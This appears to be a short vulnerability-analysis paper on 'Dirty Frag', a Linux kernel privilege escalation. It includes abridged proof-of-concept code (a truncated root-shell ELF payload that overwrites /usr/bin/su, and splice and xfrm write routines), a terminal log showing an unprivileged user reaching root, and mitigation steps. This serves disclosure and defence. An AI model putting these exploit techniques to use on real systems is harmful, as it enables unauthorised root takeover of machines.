Dirty Frag: An Analysis of the Universal Linux Kernel Page-Cache Write Primitive and Resulting Local Privilege Escalation

Kaya Ercihan

08 May 2026

Abstract

This paper provides a detailed scientific analysis of *Dirty Frag*, a recently disclosed universal Linux kernel local privilege escalation (LPE) vulnerability class. By chaining two independent page-cache write primitives in the xfrm-ESP and RxRPC subsystems, an unprivileged local attacker can deterministically overwrite arbitrary bytes in any page-cache-backed file. The publicly released proof-of-concept was independently tested and verified on Rocky Linux 9.5 [1]. This work examines the architectural root causes, key implementation details of the exploit, reproduction steps, tested specifications, and evaluated mitigations.

1 Introduction

The Linux kernel's zero-copy networking paths (`MSG_SPLICE_PAGES`) have repeatedly enabled powerful page-cache corruption primitives. Dirty Frag extends this bug class by combining two long-standing vulnerabilities: the `xfrm`-ESP Page-Cache Write primitive (introduced in 2017) and the RxRPC Page-Cache Write primitive (introduced in 2023).

The attack is deterministic, requires no race conditions, produces no kernel panic on failure, and achieves a very high success rate across major distributions. The official repository containing the full proof-of-concept is available in the project repository [1].

2 Vulnerability Analysis

2.1 xfrm-ESP Page-Cache Write Primitive

The primary primitive abuses incorrect handling of `sk_buff` fragment lists in the ESP output path. By creating an xfrm security association with a specially crafted replay state (`seq_hi`), the attacker forces the kernel to write controlled 4-byte values directly into a page-cache page via the splice/vmsplice chain [2].

Key mechanism: The `do_one_write` function in the PoC uses `vmsplice` followed by `splice` to inject attacker-controlled data into the network stack, which is then decrypted and written back into the page cache [1].

2.2 RxRPC Page-Cache Write Primitive (Fallback)

When the ESP path is blocked (e.g. by AppArmor or module blacklisting), the RxRPC/rxkad path provides an 8-byte write primitive. The kernel performs an in-place

pcbc(fcrypt) decryption on the spliced page. The exploit brute-forces the 8-byte session key in user space so that the decryption yields the desired payload [2].

3 Exploit Implementation Details

The public proof-of-concept (exp.c) from the official repository implements both attack vectors and automatically chains them [1]. The code is highly engineered for reliability and contains several critical components that directly demonstrate the page-cache write primitives.

3.1 Embedded Root-Shell ELF Payload

The primary attack overwrites the first 192 bytes of /usr/bin/su with a minimal static x86_64 ELF that immediately drops to a root shell:

```
static const uint8_t shell_elf[PAYLOAD_LEN] = {
    0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
    x00,
    /* ... full 192-byte ELF truncated for brevity ... */
    0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0
    x00,
};
```

Listing 1: Embedded minimal x86_64 root-shell ELF payload (PAYLOAD_LEN = 192 bytes)

This payload sets uid/gid to 0 and executes /bin/sh with a clean environment.

3.2 xfrm-ESP Write Primitive

The core 4-byte write primitive is implemented in do_one_write. It uses vmsplice + splice to inject attacker-controlled data into the kernel's ESP processing path [1]:

```
static int do_one_write(const char *path, off_t offset, uint32_t spi) {
    /* ... socket setup ... */
    uint8_t hdr[24];
    *(uint32_t*)(hdr + 0) = htonl(spi);
    *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
    /* ... */
    vmsplice(pfd[1], &iov_h, 1, 0);
    splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
    splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
}
```

Listing 2: Core 4-byte page-cache write primitive

The function is called 48 times (one for each 4-byte chunk of the payload) after installing corresponding xfrm security associations via add_xfrm_sa.

3.3 xfrm Security Association Setup

Before writing, the exploit installs 48 xfrm SAs, using the seq_hi field to carry the desired 4-byte payload word [2]:

```
static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) {
    /* ... netlink message construction ... */
    struct xfrm_replay_state_esn *esn = ...;
    esn->seq_hi = patch_seqhi;   /* payload byte word carried here */
    /* ... send XFRM_MSG_NEWSA ... */
}
```

Listing 3: xfrm SA creation with payload in seq_hi

3.4 RxRPC Fallback Path

When the ESP path is unavailable, the secondary primitive uses RxRPC key manipulation and AF_ALG `pcbc(fcrypt)` decryption to achieve 8-byte writes into `/etc/passwd`. The user-space brute-force phase (based on the kernel's `fcrypt` implementation) finds the correct session key [2].

The main trigger function `do_one_trigger` performs the splice-based write after setting up a malicious RxRPC DATA packet.

These code sections collectively demonstrate how the exploit achieves a reliable, deterministic arbitrary page-cache write without races or crashes [1], [2].

4 Experimental Verification

The proof-of-concept was executed on a clean Rocky Linux 9.5 system (kernel 5.14.0-503.40.1.el9_5.x86_64). Root access was obtained on the first attempt via the primary ESP path. After successful exploitation, the system kernel was upgraded.

Test Specifications:

Component	Details
Distribution	Rocky Linux 9.5
Initial kernel	5.14.0-503.40.1.el9_5.x86_64
Upgraded kernel	5.14.0-611.54.1.el9_7.x86_64
Architecture	x86_64
Initial user	Unprivileged (uid=1000)
Success rate	100% (first attempt)
Repository	Dirty Frag proof-of-concept repository [1]

5 Mitigation Evaluation

The most effective immediate mitigation is blacklisting the vulnerable kernel modules:

```
install esp4 /bin/false
install esp6 /bin/false
install rxrpc /bin/false
```

followed by `rmmod esp4 esp6 rxrpc`. Kernel patches addressing the ESP vector have been merged upstream. Distributions are in the process of backporting the fixes [2].

6 Conclusion

Dirty Frag demonstrates a systemic weakness in the Linux kernel's zero-copy networking and crypto subsystems. The deterministic page-cache write primitive, combined with the public availability of a reliable exploit, makes this one of the most severe LPE vulnerabilities in recent years. Immediate deployment of mitigations and patched kernels is strongly recommended.

References

[1] V4bel, *Dirty Frag: Universal Linux LPE*, GitHub repository, May 2026. Accessed: May 8, 2026. [Online]. Available: `https://github.com/V4bel/dirtyfrag`.

[2] V4bel, *Dirty Frag Technical Write-Up*, Project technical documentation, May 2026. Accessed: May 8, 2026. [Online]. Available: `https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md`.

```
[rocky@rockytest ~]$ cd dirtyfrag/
[rocky@rockytest dirtyfrag]$ ll
total 132
-rw-r--r--. 1 rocky rocky  4275 May  8 05:25 README.md
drwxr-xr-x. 2 rocky rocky    56 May  8 05:25 assets
-rwxr-xr-x. 1 root  root  56160 May  8 05:26 exp
-rw-r--r--. 1 rocky rocky 67803 May  8 05:25 exp.c
[rocky@rockytest dirtyfrag]$ .exp
-bash: .exp: command not found
[rocky@rockytest dirtyfrag]$ ./exp
[root@rockytest dirtyfrag]# exit
exit
[rocky@rockytest dirtyfrag]$ clear
[rocky@rockytest dirtyfrag]$ id
uid=1000(rocky) gid=1000(rocky) groups=1000(rocky),4(adm),1
90(systemd-journal) context=unconfined_u:unconfined_r:uncon
fined_t:s0-s0:c0.c1023
[rocky@rockytest dirtyfrag]$
[rocky@rockytest dirtyfrag]$ uname -a
Linux rockytest.novalocal 5.14.0-611.54.1.el9_7.x86_64 #1 S
MP PREEMPT_DYNAMIC Tue May 5 16:52:47 UTC 2026 x86_64 x86_6
4 x86_64 GNU/Linux
[rocky@rockytest dirtyfrag]$
[rocky@rockytest dirtyfrag]$
[rocky@rockytest dirtyfrag]$ ll
total 132
-rw-r--r--. 1 rocky rocky  4275 May  8 05:25 README.md
drwxr-xr-x. 2 rocky rocky    56 May  8 05:25 assets
-rwxr-xr-x. 1 root  root  56160 May  8 05:26 exp
-rw-r--r--. 1 rocky rocky 67803 May  8 05:25 exp.c
[rocky@rockytest dirtyfrag]$ rm -rf exp
[rocky@rockytest dirtyfrag]$ ll
total 76
-rw-r--r--. 1 rocky rocky  4275 May  8 05:25 README.md
drwxr-xr-x. 2 rocky rocky    56 May  8 05:25 assets
-rw-r--r--. 1 rocky rocky 67803 May  8 05:25 exp.c
[rocky@rockytest dirtyfrag]$ gcc -O0 -Wall -o exp exp.c -lu
til
[rocky@rockytest dirtyfrag]$ ll
total 132
-rw-r--r--. 1 rocky rocky  4275 May  8 05:25 README.md
drwxr-xr-x. 2 rocky rocky    56 May  8 05:25 assets
-rwxr-xr-x. 1 rocky rocky 56160 May  8 05:45 exp
-rw-r--r--. 1 rocky rocky 67803 May  8 05:25 exp.c
[rocky@rockytest dirtyfrag]$ ./exp
[root@rockytest dirtyfrag]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u
:unconfined_r:unconfined_t:s0-s0:c0.c1023
[root@rockytest dirtyfrag]#
```

Figure 1: Successful exploitation and post-exploit verification on Rocky Linux 9.5.